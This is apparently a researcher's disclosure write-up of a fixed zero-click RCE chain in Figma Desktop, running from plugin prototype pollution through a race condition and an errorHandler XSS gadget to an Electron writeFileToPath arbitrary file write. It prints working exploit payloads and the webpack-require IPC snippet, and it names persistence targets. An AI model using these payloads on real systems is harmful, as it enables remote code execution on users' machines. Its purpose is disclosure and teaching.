Zero-Click RCE in Figma Desktop

Zero-Click RCE in Figma Desktop - Benjamin Mamoud (DavenSec), Critical Thinking.

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~/authors/davensec - profile

[image: davensec avatar]

davensec Benjamin Mamoud (DavenSec)

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Important Note :

Before getting into the details, I want to note upfront that Figma responded and fixed the issue within a few hours. At no point were customer environments exposed.

With that context, here's the write-up of what we found and how it was handled:*

> **TL;DR** A benign-looking counter function inside Figma's variant-handling code (`eG`) was vulnerable to prototype pollution. On its own it just crashed the app. But by letting the plugin context survive the crash of the main context, winning a race against `$INTERNAL_DO_NOT_USE$RERUN_PLUGIN$` , and flipping the `jsx_debugging` feature flag, I unlocked a *second*, far more powerful prototype pollution inside `figma.jsx.deserialize` 's expression evaluator. From there, a polluted `errorHandler` gadget turned pollution into XSS, and a forgotten `writeFileToPath` IPC on the Electron desktop app turned XSS into **cross-platform, zero-click RCE** all triggered by a victim running a published Figma plugin. This is the long version of how that chain came together, and more importantly, *how I thought about it*.

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0. Why I kept looking after "it's not exploitable"

I'd already dug into Figma's client-side architecture for previous reports. Every time I looked, I came away with the same conclusion: the sandbox is solid, the public plugin API is hardened, and nothing interesting leaks across the trust boundary. My previous reports literally said *"sandbox escape was not possible"*.

But one question kept bugging me:

> What if I could just get access to one of the APIs that Figma only gives to its own developers?

Not break the sandbox directly. Not find a parser bug in a public API. Just… **change which APIs the plugin is allowed to see.** That framing is what eventually cracked the whole thing open, so before we dive into code, it's worth internalizing it: when a sandbox is too well-designed to break head-on, go after the *configuration* that decides what's in the sandbox in the first place.

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1. A quick primer on how Figma plugins actually run

If you've never hunted on Figma, a one-paragraph mental model will make the rest of the writeup much easier to follow.

Figma is a web app (and an Electron desktop wrapper around that web app). When you run a plugin, it doesn't execute in the same JavaScript realm as the Figma editor UI. Instead, Figma spins up a **JSVM** an internal JavaScript VM and the plugin code runs inside *that*. The plugin talks to the main Figma app through a carefully curated bridge: `figma.createComponent()`, `figma.currentPage`, `figma.combineAsVariants(...)`, and so on. Each of those `figma.*` methods is explicitly registered on the VM side and backed by a callback that runs in the main (trusted) context.

So there are three realms to keep in your head:

- **Plugin realm (JSVM)** runs untrusted plugin code. Limited API.
- **Main context** the Figma editor UI. Trusted. Runs the real app state, the React tree, feature flags, etc.
- **Desktop shell** for the Electron client, there's also a main-process side with privileged IPC handlers.

The callbacks on the JSVM bridge (things like the one for `figma.jsx.deserialize`) are the places where data flows from the plugin realm into the main context. That's where expression parsers, deserializers, and any "just a helper" function become extremely interesting.

Keep this picture in your head: **plugin bridge callback main context (for desktop) IPC main process.** That's the ladder we're going to climb.

---

2. Bug #1 A counter function with a prototype pollution inside it

While grepping through the bundled JS, I hit this tiny arrow function called `eG`. Its job is to count how many times each `property=value` combination appears across a set of Figma *variants* (variants are basically states of a component think `state=hover`, `state=pressed`).

```
let eG = e => {
  let t = {};
  for (let i of e)
    if (i.stateInfo.propertyValues)
      for (let [e, r] of Object.entries(i.stateInfo.propertyValues))
        t[e] = t[e] || {},
        t[e][r] = (t[e][r] || 0) + 1;
  return t
};
```

Read it slowly. `t` is a plain object literal, so it inherits from `Object.prototype`. Then user-controlled variant data is used as the keys `e` and `r`:

```
t[e] = t[e] || {};
t[e][r] = (t[e][r] || 0) + 1;
```

If I can make `e === "__proto__"`, then `t["__proto__"]` is `Object.prototype`, and the next line writes `Object.prototype[r]` to an integer. **Textbook prototype pollution.**

2.1 The UI blocks it. The plugin API doesn't.

If you try to literally name a variant property `__proto__` in the Figma UI, it gets blocked. Fair enough. But the plugin API doesn't apply the same sanitization:

```
const c1 = figma.createComponent();
c1.name = "__proto__=poc";

const c2 = figma.createComponent();
c2.name = "state=loading";

const set = figma.combineAsVariants([c1, c2], figma.currentPage);
set.name = "Button";
```

This is a *classic* bug-bounty shape and worth filing away: **a UI-layer denylist that isn't mirrored in the programmatic API.** When you see sanitization on the frontend, always ask "does the backend API enforce this too?" and on Figma, "backend" very often means the plugin bridge.

2.2 The problem: this pollution crashes the entire app

When `eG` runs with `__proto__` in the mix, it does:

```
let t = {};
t["__proto__"]["poc"] = 1;  // Object.prototype.poc = 1
```

Normal assignment creates properties with `enumerable: true` by default. And that's what tanks everything. Once `Object.prototype.poc` is enumerable, every `for...in` loop, every `Object.keys` on an inherited-aware path, every framework hot path that iterates over object keys suddenly sees a `poc` property that shouldn't exist. Figma's main context hits an unexpected key in code that was never built to tolerate one, and the editor dies on the spot.

So from the surface this looks like a DoS at best. Not exciting.

2.3 The insight: the plugin survives the crash

Here's the detail that turns this from "noisy DoS" into "foothold." When the main context crashes, **the JSVM keeps running**. The plugin is in a separate realm its own heap, its own event loop-ish execution. The editor UI being on fire doesn't stop my plugin code from continuing to execute.

That means the sequence

- Plugin pollutes `Object.prototype.X`
- Main context crashes
- Plugin keeps going

leaves me in a very weird state: I'm alive, the UI is dead, and **any code in the main context that reads a property off a plain object is now reading my polluted value.**

Now the question becomes: *is there anything useful the main context reads off plain objects that I'd love to control?*

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3. Picking the right feature flag to forge

Figma, like every SaaS at scale, gates internal/unreleased APIs behind feature flags. In the bundle these look like `(0, S.kc)().some_flag_name` a function call that returns an object, and then a property read off it. Reads like that go through `Object.prototype` lookups when the own property is missing.

So with prototype pollution, **I can make feature flags that don't exist on the real config object appear to be `true`** by writing them to `Object.prototype`.

The only question is *which* flag is worth forging. I went flag-hunting.

The winner was `jsx_debugging`. When it's on, Figma attaches a `jsx` sub-API to the VM object, most notably `figma.jsx.deserialize`. Here's the gated code in the bundle:

```
((0, S.kc)().jsx_debugging || (0, S.kc)().internal_only_debug_tools) && this.defineVmProp({
    handle: v,
    key: "jsx",
    options: {
        enumerable: !1,
        value: this.createJsxApi()
    },
    canWriteInReadOnly: !1,
    isAllowedInWidgetRender: !1,
    hasEditScope: !1
}),
```

`figma.jsx.deserialize` takes a JSX string, parses it, and evaluates the JSX expression containers (`{ ... }`) as real JavaScript-ish expressions. That sound you just heard is every hacker's ears perking up. If I can flip `jsx_debugging` and call that function, I'm holding a mini expression evaluator that runs in the main Figma context. That's **a vastly more powerful primitive than the integer-only counter pollution I started with.**

---

4. Bug #2 Prototype pollution inside `figma.jsx.deserialize`

Let's trace `figma.jsx.deserialize` from the JSVM entrypoint down to the part that actually executes user code. This is the core gadget, so I'm going to walk every hop.

4.1 The VM callback

```
cb: (t, i) => {
    if (!e.isString(t)) throw Error("jsx not a string");
    let r = e.toString(t);
    ...
    return e.registerPromise(rz(r, n));
}
```

Nothing fancy it type-checks, coerces to a string, and hands it to `rz` .

4.2 `rz` `deserializeJSX` `o2`

```
async function rz(e, t = { includeIDs: !0 }) {
  let i = (await (0, rB.LZ)(e, t)).node;
  return i?.guid;
}

async function a(e, t = { includeIDs: !1 }) {
  let i = await r();
  return await i.deserializeJSX(e, t);
}

async function o8(e, t = {}) {
  return y({
    step: u.S4.DESERIALIZE,
    sourceContext: t.jsxTrackingContext,
    operation: async () => o2(e, t),
    ...
  });
}

async function o2(e, t = {}) {
  let i = o.S$(e)?.[0];
  if (!i) return { node: null, generationRequests: [], issues: [] };
  let r = await o3(i, t);
  ...
  return r;
}
```

The important call is `o.S$(e)`, where `S$` is:

```
S$: () => p

function p(e, t) {
  return (t?.strict
    ? new c(e, s.parseStrict, !t.excludeLocations)
    : new c(e, s.parseLoose, !t?.excludeLocations)
  ).parseAndStringifyExpressions();
}
```

That method name is doing a lot of heavy lifting: `parseAndStringifyExpressions`. So the parser isn't just parsing JSX it's actively evaluating expressions.

4.3 Expression evaluation begins

```
parseAndStringifyExpressions() {
  return this.context = { stringifyJSXExpressionContainers: !0 }, this.parseInternal();
}

case "JSXExpressionContainer":
  return this.parseExpression(e.expression, t);
```

Every `{ ... }` inside JSX gets fed back into `parseExpression`. Now let's look at the three AST node types that make this whole thing work.

Identifier resolution this is the money shot:

```
case "Identifier":
  if (t && e.name in t) return t[e.name];
  return ({})[e.name];
```

If the identifier isn't bound in the current scope `t`, it's resolved against a fresh empty object literal: `({})[name]`. At a glance this looks safe a fresh object has no properties but an empty object inherits `Object.prototype`, and `Object.prototype` has real, useful properties. Including:

```
({})["constructor"]  // === Object
```

So the identifier `constructor` resolves to the `Object` constructor. That's the single most important observation in this bug. The sandbox designers assumed unbound identifiers would return `undefined`, but `({})[name]` happily walks the prototype chain.

Member expression resolution:

```
parseMemberExpression(e, t) {
  let { object: i } = e, s = [e.property?.name ?? JSON.parse(e.property?.raw ?? "'")];
  ...
  let a = this.parseExpression(i, t);
  let t = s.reduce((t, i) => (e = t, t[i]), a);
  if ("function" == typeof t) return t.bind(e);
  return t;
}
```

This walks a chain like `constructor.defineProperties` and critically when it lands on a function it `.bind`s it to its receiver. So `({}).constructor.defineProperties` comes back as a callable bound to `Object`.

Call expressions:

```
case "CallExpression":
  let o = this.parseExpression(e.callee);
  if (void 0 === o) { ... }
  return o(...e.arguments.map(t => this.parseExpression(t, e.callee)));
```

Resolved function. Resolved arguments. Actual call. **Inside the main Figma context.**

4.4 Putting it together

With those three AST nodes wired up, a payload like this becomes legal "JSX":

```
<Frame d={
  ({}).constructor.defineProperties(
    ({}).constructor.prototype,
    {
      testpollute: { enumerable: false, configurable: true },
      current:    { enumerable: false, configurable: true }
    }
  )
}/>
```

Step by step:

- `({}).constructor` `Object`
- `({}).constructor.defineProperties` `Object.defineProperties`, bound to `Object`
- `({}).constructor.prototype` `Object.prototype`
- The `CallExpression` fires and **mutates** **`Object.prototype`** directly.

A quick but important caveat: this parser is **not** `eval`. It doesn't have a global scope, it doesn't give you access to `window`, and it only implements a small subset of AST nodes. You can only call functions you can *reach* through identifier + member-expression chains, and you can only pass arguments the parser knows how to evaluate. So "arbitrary JS" is an overstatement what you actually get is "any function reachable from `({})[name]`", which turns out to include `Object`, `Object.defineProperty`, `Object.defineProperties`, and crucially `Object.constructor` (the `Function` constructor, which we'll need later).

The huge upgrade over Bug #1 is that I can now set `enumerable: false`. That alone fixes the "main context crashes" problem for any pollution I do through this path which is exactly what I'll need to keep the app alive while I exploit it.

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5. The race condition forging a feature flag long enough to use it

Okay, time to slow down, because the timing here is the cleverest part of the chain and easy to gloss over.

Here's the situation I'm actually in:

- I need the feature flag check `(0, S.kc)().jsx_debugging` to hit a **polluted** `Object.prototype` so that `jsx_debugging` reads back `true`. The plugin's JSX API (`figma.jsx`) is attached based on that flag.
- But the pollution I have from Bug #1 is **enumerable**, which crashes the main context.
- The flag check only runs during **plugin initialization**. If the plugin is already running when I pollute, flipping the flag does me no good the check has already happened.
- So I need to **restart** the plugin *after* the pollution lands.
- Restarting the plugin is done by sending `$INTERNAL_DO_NOT_USE$RERUN_PLUGIN$` via `postMessage`. But that message is handled by the main context. If the main context is too crashed to process postMessages, the restart never happens.

Read those five bullets together and you have a textbook race-condition shape:

> I need the main context to be **alive enough** to process a `postMessage` handler and re-init the plugin, but **polluted enough** at the moment of the feature-flag read that `jsx_debugging` comes back `true`.

The good news is that "crashed" isn't instantaneous. The main context tears down over many frames because the enumerable property only causes errors when someone actually iterates a plain object. So there's a narrow window where the postMessage pump is still turning *and* `Object.prototype.jsx_debugging` is already set. If I fire the restart inside that window, the new plugin instance will see `jsx_debugging === true` during its init path and get `figma.jsx.deserialize` attached.

Brute-forcing timings is ugly but effective. After a lot of trial and error I got the success rate up to ~99%. One funny, very bug-bounty detail: **the race only wins when the plugin is published, not when it's run locally.** Published plugins go through a slightly different load path with slightly different performance characteristics, and that difference is just enough to tip the timing in my favor. If you're ever chasing a timing bug on Figma and failing, try publishing privately before giving up.

(The exact brute-forcing loop lives in the attached plugin code it's long and not that interesting conceptually; the takeaway is: "restart repeatedly and hope the timings line up," with the window opened by Bug #1's pollution.)

---

6. Cleaning up the crime scene with `figma.jsx.deserialize`

Once the race is won and I've got `figma.jsx.deserialize` exposed to the plugin, my first move is to **un-crash the main context**.

The reason the main context was crashing was that `jsx_debugging` (and friends) existed on `Object.prototype` with `enumerable: true`. `figma.jsx.deserialize` lets me call `Object.defineProperty` with `enumerable: false`, which keeps the flag logically `true` (it's still on the prototype) but hides it from iteration:

```
figma.jsx.deserialize(
  '<Frame d={({}).constructor.defineProperties(({}).constructor.prototype,{jsx_debugging:{enumerable:false,configurabl
);
```

The moment this runs, `for...in` loops stop tripping over `jsx_debugging`, and the main context recovers. The editor is alive again, the app looks normal, but `Object.prototype.jsx_debugging === true` still and so does anything else I decide to plant.

Now I have a stable, non-crashing Figma, with an expression evaluator inside the trusted main context and full control of the prototype chain. Time to turn that into actual JavaScript execution.

---

7. From prototype pollution to XSS the `errorHandler` gadget

Prototype pollution gives me values on arbitrary property reads. To get code execution I need a **gadget**: a place where the main context *reads a function-typed value off a plain object and then calls it*. Destructuring with defaults is the classic shape for this, and Figma has a beautiful example in its plugin VM setup:

```
let {
    apiVersion: i,
    ...
    errorHandler: y,
    isLocal: b,
    ...
} = e;
```

That destructuring pulls `errorHandler` off `e` using a regular property access. If `e` doesn't have its own `errorHandler`, JavaScript walks the prototype chain and happily returns `Object.prototype.errorHandler`. Which I control.

Then later:

```
return j.setErrorHandler(t => {
    let r = "";
    try { r = j.toString(t.handle) } catch (e) { ... }
    ...
    el({ message: r, raw_stack: n, pluginID: e.pluginID, apiVersion: i }),
    y && y(r)
});
```

`y` is the destructured handler. It's stored as-is:

```
setErrorHandler(e) {
  this.errorHandler = e
}
```

And it gets invoked whenever a plugin throws:

```
try {
  this.executionDepth++;
  let e = et.call(r, n, s);
  return { type: "SUCCESS", handle: ei(this, e) }
} catch (t) {
  Z.error(t);
  let e = new w.wC(this, ei(this, t));
  return 1 === this.executionDepth && this.errorHandler(e), {
    type: "FAILURE",
    error: e
  }
} finally {
  this.executionDepth--
}
```

So the gadget is: **pollute `Object.prototype.errorHandler` with a function, then throw something in the plugin. The function is called in the main Figma context.** That's arbitrary JS execution in the trust boundary I care about.

7.1 But wait, the JSX evaluator can't write `function() {}` ...

Here's the fun subproblem. `figma.jsx.deserialize`'s tiny AST subset doesn't include function literals. I can't type `function() { alert(1) }` inside a JSX expression. So how do I get a real function object onto `Object.prototype`?

The answer is the same pattern we used to reach `Object`: walk the prototype chain until you land on something useful. `({}).constructor` is `Object`, and `({}).constructor.constructor` is `Function` the constructor that turns strings into real, callable function objects. That's our loophole:

```
({}).constructor.constructor("err", "alert(document.domain)")
```

That returns a genuine `function (err) { alert(document.domain) }` object. Now feed it into `defineProperty`:

```
<Frame d={
 ({}).constructor.defineProperty(
  ({}).constructor.prototype,
  "errorHandler",
  {
   value: ({}).constructor.constructor("err", "alert(document.domain)"),
   configurable: true,
   writable: true,
   enumerable: false
  }
 )
}/>
```

Note the `enumerable: false` I learned my lesson from Bug #1. The whole point of this write is to be invisible to iteration so the app stays alive.

At this point, `Object.prototype.errorHandler` is a real function I control. But there's one more subtle gotcha: `errorHandler` is read off `e` during **plugin init**, not on every throw. My plugin already initialized *before* I planted `errorHandler`. So it's still holding a reference to the old (undefined) handler.

The fix is, of course, to restart the plugin *again* using the same `postMessage` trick:

```
parent.postMessage("$INTERNAL_DO_NOT_USE$RERUN_PLUGIN$", "*");
```

This time, with the main context fully restored (non-enumerable pollution), the restart just works. The new plugin instance re-destructures `e`, reads `errorHandler` off `Object.prototype`, and stores my function. Then I do:

```
throw new Error("poc");
```

...and `alert(document.domain)` pops in the main Figma context.

That's XSS inside Figma's origin, from a plugin, with no suspicious user interaction beyond "click run."

---

8. XSS → RCE on the Electron desktop app

On Figma Desktop (Electron), an XSS in the renderer is only half the journey. Electron's sandbox and context isolation *should* protect the Node side. But if any IPC handler exposed to the renderer does something dangerous with its arguments, that's your bridge.

I pulled the desktop app's `app.asar`, cracked it open, and grepped the IPC handlers. This one stopped me cold:

```
B.onPromise("writeFileToPath", async (n, t) => {
  try {
    let r = ke.dirname(t.path);
    if (await Ge.ensureDir(r), t.denyOverwritingFiles && await Ge.pathExists(t.path))
      throw new Error("File already exists and overwriting files is not allowed - please update preferences if you want to
    return await Ge.writeFile(t.path, Buffer.from(t.blob), { encoding: "binary" }),
      Promise.resolve()
  } catch (r) {
    return Ve.error(`writeFileToPath failed: ${r}`), Promise.reject(r)
  }
});
```

Read that handler carefully. It takes a **caller-supplied path**, happily `ensureDir`s the parent directory, and unless the caller asked for `denyOverwritingFiles: true` (why would an attacker?), it writes raw bytes to disk with no path validation, no allowlist, no user prompt.

Translation: **any renderer-side JS that can call this IPC can write arbitrary bytes to any path the Figma process has permission to touch.** On Windows that includes the user's Startup folder (persistence), `%APPDATA%` (drop a malicious DLL for some app's next launch), or the user's own binaries. On macOS/Linux, same idea with different paths. Cross-platform RCE is now just a matter of *where* you write the file.

8.1 Reaching the IPC from renderer JS

The IPC isn't exposed on `window` directly it lives inside a webpack module. To reach it from my XSS context, I abused webpack's own chunk-loading mechanism to get hold of its internal `require`:

```
let wpRequire;

// Push a sentinel chunk; webpack hands us its require in the callback.
window.webpackChunk_figma_web_bundler.push([['test'], {}, (req) => {
  wpRequire = req;
}]);

if (wpRequire) {
  try {
    // Load the internal desktop module by its numeric id.
    let desktopModule = wpRequire('732838');
    window.__desktopModule = desktopModule;
  } catch(e) {
    console.log('Error loading module:', e);
  }
}

// Grab the privileged IPC bridge object.
let api = window.__desktopModule.eD.api;

let content = new TextEncoder().encode(
  'XSS to RCE vulnerability confirmed - ' + new Date().toISOString()
);

api.promiseMessage('writeFileToPath', {
  path: 'C:\\Users\\lolrce\\POC\\POCDAVEN.exe',
  blob: Array.from(content),
  denyOverwritingFiles: false
}).then(() => console.log('SUCCESS'))
 .catch(e => console.log('Failed:', e));
```

The webpack trick here is worth remembering on its own: if the renderer is a webpack bundle, `window.webpackChunk_<name>.push` with a callback third argument leaks the internal `require` function. From there you can load any module in the bundle by id and reach things the app never meant to expose on globals.

---

9. The final single-payload chain

Everything collapses into one JSX string that, when passed to `figma.jsx.deserialize`, pollutes `Object.prototype.errorHandler` with a function that runs the webpack IPC `writeFileToPath` payload:

```
figma.jsx.deserialize(
  '<Frame d={({}).constructor.defineProperty(({}).constructor.prototype,"errorHandler",{value:({}).constructor.construct
);
```

...where `BASE64RCECODE` is base64 of the webpack-require + `writeFileToPath` exploit above.

Zoomed out, the full chain the plugin drives looks like this:

- **Seed.** Create variants with a `__proto__=poc` property name via `figma.createComponent` + `figma.combineAsVariants`. Select them to trigger `eG` Bug #1 prototype pollution main context starts crashing.
- **Race.** Brute-force `$INTERNAL_DO_NOT_USE$RERUN_PLUGIN$` postMessages during the narrow "alive-enough-to-postMessage but already-polluted" window, so that the plugin re-inits while `Object.prototype.jsx_debugging === true`. The new plugin instance gets `figma.jsx.deserialize` attached.
- **Stabilize.** Use `figma.jsx.deserialize` to redefine `jsx_debugging` with `enumerable: false`. Main context recovers; editor is healthy again.
- **Plant the gadget.** Use `figma.jsx.deserialize` to set `Object.prototype.errorHandler` to `Function("err","eval(atob('...'))")`, also non-enumerable.
- **Re-init.** Send another `$INTERNAL_DO_NOT_USE$RERUN_PLUGIN$` so the plugin VM re-reads `errorHandler` from the (polluted) prototype.
- **Detonate.** `throw new Error("poc")` inside the plugin VM's error path calls the polluted `errorHandler` my JS runs in the main Figma origin webpack require trick reaches the `writeFileToPath` IPC arbitrary file write as the Figma desktop process **cross-platform RCE**.

From the victim's perspective? They ran a published Figma plugin. That's it. No consent dialogs, no suspicious prompts, no second click. Zero-click-from-running-a-plugin cross-platform RCE.

Thank you

Thank you for reading this and thank you so much to all the Critical Thinking team that is always providing very cool content !

client-side prototype-pollution race-condition rce
